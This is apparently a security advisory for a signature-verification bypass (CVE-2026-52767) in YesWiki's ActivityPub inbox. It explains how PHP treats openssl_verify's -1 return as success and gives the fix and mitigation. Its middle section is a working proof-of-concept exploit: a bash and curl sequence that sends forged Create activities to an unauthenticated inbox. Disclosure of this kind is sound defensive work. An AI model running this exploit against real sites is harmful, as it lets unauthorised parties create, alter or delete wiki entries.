high · 8.2CVE-2026-52767Jul 9, 2026

CVE-2026-52767: YesWiki ActivityPub Signature-Verification Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A logic flaw in YesWiki's ActivityPub inbox lets any unauthenticated attacker create, update, or delete wiki entries by sending a crafted HTTP request with a junk signature that PHP's openssl_verify s

Packageyeswiki/yeswiki
Ecosystemcomposer
Affected>= 4.6.2, < 4.6.6
Fixed in4.6.6

The problem

YesWiki's `HttpSignatureService::verifySignature()` guards the ActivityPub inbox with `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` returns `1` (valid), `0` (invalid), `-1` (internal error), or `false` (bad input). The loose boolean negation treats `-1` as truthy, so `!(-1) === false`, the exception is never thrown, and the controller proceeds to `processActivity()`.

The practical trigger on PHP 8.3 + OpenSSL 3.x is supplying a DSA public key in the actor document while listing `algorithm=RSA-SHA256` in the Signature header. OpenSSL's `EVP_VerifyFinal` returns `-1` because the algorithm and key type are incompatible. Any ActivityPub-enabled Bazar form is reachable with a single unauthenticated POST, allowing Create, Update, and Delete of arbitrary entries.

Proof of concept

A working proof-of-concept for CVE-2026-52767 in yeswiki/yeswiki, with the exact payload below.

bash
# 1. Host an actor document at a URL you control that returns a DSA public key:
# GET http://attacker.example/actors/attacker
# {
#   "id": "http://attacker.example/actors/attacker",
#   "publicKey": {
#     "id": "http://attacker.example/actors/attacker",
#     "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIB...DSA KEY...\n-----END PUBLIC KEY-----\n"
#   }
# }

# 2. Confirm the bypass trigger (run inside the YesWiki container):
php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'
# Expected: openssl_verify returned: -1
#           !openssl_verify(...)  is: false  <-- bypass confirmed

# 3. Send the malicious Create activity (no valid signature needed):
ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://attacker.example/activity/poc-001",
  "actor":"http://attacker.example/actors/attacker",
  "object": {
    "id":   "http://attacker.example/objects/poc-001",
    "type": "Event",
    "name": "Injected entry via signature bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
KEYID="http://attacker.example/actors/attacker"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "http://target.example/?api/forms/2/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'
# Expected: HTTP 200 with entry written to yeswiki_pages

The root cause is CWE-347 (Improper Verification of Cryptographic Signature) caused by PHP's loose type system. `openssl_verify` returns integer `-1` on an internal OpenSSL error, and `-1` is truthy in PHP, so `!(-1)` evaluates to `false`, skipping the throw entirely.

The bypass is triggered by supplying a DSA or EC public key in the actor document while advertising `algorithm=RSA-SHA256` in the Signature header. OpenSSL's `EVP_VerifyFinal` returns `-1` because the key type and algorithm are incompatible, not because the signature was checked and failed.

The Digest header is still enforced, but it is trivially satisfied by computing `SHA-256` of the attacker-chosen body. The patch at commit `d1795e0301e1a1078f17b4b98f56fff70de2029e` replaces the loose check with a strict identity comparison: `openssl_verify(...) !== 1`, which correctly treats `-1` as a failure and throws.

This is the canonical fix recommended by the PHP documentation for this function.

The fix

Upgrade to YesWiki 4.6.6. The patch changes `if (!openssl_verify(...))` to `if (openssl_verify(...) !== 1)` in `tools/bazar/services/HttpSignatureService.php`, ensuring that an internal OpenSSL error (`-1`) is treated as a verification failure rather than success.

If you cannot upgrade immediately, disable ActivityPub federation on all Bazar forms.

Reporter not attributed.

References: [1][2][3]

Related research